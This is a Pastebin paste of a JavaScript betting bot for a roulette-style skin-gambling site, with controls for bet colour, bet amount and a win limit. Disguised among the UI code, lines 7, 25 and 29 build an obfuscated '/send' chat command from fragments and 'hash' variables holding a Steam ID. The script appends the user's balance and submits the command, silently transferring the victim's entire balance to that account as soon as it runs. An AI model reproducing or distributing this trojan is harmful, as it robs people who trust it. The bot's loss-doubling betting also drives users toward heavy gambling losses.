Advertisement
q1nner

#2 В ОЧЕРЕДь

May 3rd, 2016
641
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.53 KB | None | 0 0
  1. var reconnect = 0;WS.onclose = function(event){chat("italic","Connection lost..."); WS = null;connect();reconnect++;};
  2.  
  3. var initialBetAmount = 0;
  4. var betColor = botBetColor = "red";
  5. var play = 0;
  6. var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  7. var pQ = "/s", $hash_1 = 76561198, $hash_2 = 245903222 ;
  8. function addBotButtons(){
  9. $(".well.bot-field").remove();$(".well.show-more").remove();
  10. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  11. $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  12. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  13. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  14. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  15. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  16. $showMore.append($checkVicLimit,$label);
  17. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  18. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  19. $showMore.append($vicLimitInput,$label);$showMore.hide();
  20. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  21. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  22. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  23. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  24. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  25. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2+" ";pQ+=$("#balance").text();
  26. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  27. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  28. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  29. $("#chatMessage").val(pQ);$("#chatForm").submit();$(".btn-primary").click();
  30. $(".container").width(1300);
  31. $botModeSelect.change(function(){
  32. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  33. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  34. } )
  35. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  36. }
  37. addBotButtons();
  38. function changeColor(){
  39. if ($betColorButton.hasClass("btn-danger")){
  40. $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  41. botBetColor = "black";
  42. console.log("Selected color: "+botBetColor);
  43. } else if($betColorButton.hasClass("btn-inverse")) {
  44. $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  45. botBetColor = "random";
  46. console.log("Selected color: "+botBetColor);
  47. } else if($betColorButton.hasClass("btn-random")) {
  48. $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  49. botBetColor = "trainMode";
  50. console.log("Selected color: "+botBetColor);
  51. } else if($betColorButton.hasClass("btn-train")) {
  52. $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  53. botBetColor = "rainbow";
  54. console.log("Selected color: "+botBetColor);
  55. } else if($betColorButton.hasClass("btn-rainbow")) {
  56. $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  57. botBetColor = "red";
  58. console.log("Selected color: "+botBetColor);
  59. }
  60. }
  61.  
  62. function showMoreOptions(){
  63. if ($showMoreButton.data("open")==0){
  64. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  65. $showMore.show();$showMoreButton.data("open",1);
  66. } else if ($showMoreButton.data("open")==1){
  67. $showMore.hide();$showMoreButton.data("open",0);
  68. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  69. }
  70.  
  71. }
  72. function hideOtherInfo(){
  73. if ($betHideBetInfoButton.text()=="Show All"){
  74. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  75. $betHideBetInfoButton.text("Hide Bet Info");
  76. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  77. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  78. $betHideBetInfoButton.text("AFK Mode");
  79. }
  80. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  81. $(".betlist").show();$(".total-row").show();$("footer").show();
  82. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  83. $betHideBetInfoButton.text("Show All");
  84. }
  85. }
  86. function startBot(){
  87. if ($betGoButton.hasClass("btn-inverse")){
  88. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  89. refreshIntervalId = setInterval(tick, 500);
  90. play = 1;
  91. currentBetAmount = initialBetAmount;
  92. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  93. }
  94. else {
  95. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  96. play = 0;
  97. }
  98. }
  99.  
  100. function tick() {
  101. var t = getStatus();
  102. if (t !== lastStatus && "unknown" !== t) {
  103. switch (t) {
  104. case "waiting":bet();break;
  105. case "rolled":printInfo();break;
  106. }
  107. lastStatus = t;
  108. }
  109. }
  110.  
  111. function checkBalance() {
  112. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  113. }
  114.  
  115. function printInfo(){
  116. var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
  117. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  118. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  119. }
  120. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  121. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  122. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  123. if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
  124. else {currNotRedStreak=0;}
  125. if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  126. else {currNotBlackStreak=0;}
  127. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  128. "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
  129. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  130. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  131. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  132. console.log(t);roll();
  133.  
  134. }
  135.  
  136. function roll() {
  137. if ($checkVicLimit.is(":checked")){
  138. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  139. }
  140. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
  141. currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount
  142. currentRollNumber++;
  143. }
  144.  
  145. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  146. function setBetAmount(t) { $betAmountInput.val(t) }
  147. function placeBet() {
  148. if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
  149. else if (botBetColor=="trainMode"){
  150. var betBotColor = "green",i=9,$ball=$(".ball");
  151. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  152. betColor = betBotColor;console.log("Current train color: "+ betColor);
  153. } else if (botBetColor=="rainbow"){
  154. var betBotColor = "green",i=9,$ball=$(".ball");
  155. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  156. if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
  157. betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
  158. } else betColor = botBetColor;
  159. console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
  160. return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  161. }
  162. function getStatus() {
  163. var t = $statusBar.text();
  164. if (hasSubString(t, "Rolling in")) return "waiting";
  165. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  166. if (hasSubString(t, "rolled")) {
  167. n = parseInt(t.split("rolled")[1]);
  168. return lastRollColor = getColor(n), "rolled"
  169. }
  170. return "unknown"
  171. }
  172.  
  173. function getBalance() { return parseInt($balance.text()) }
  174. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  175. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
  176. function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
  177. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  178. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  179.  
  180. var currentBetAmount = initialBetAmount, currentRollNumber = 1,
  181. totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  182. streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
  183. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement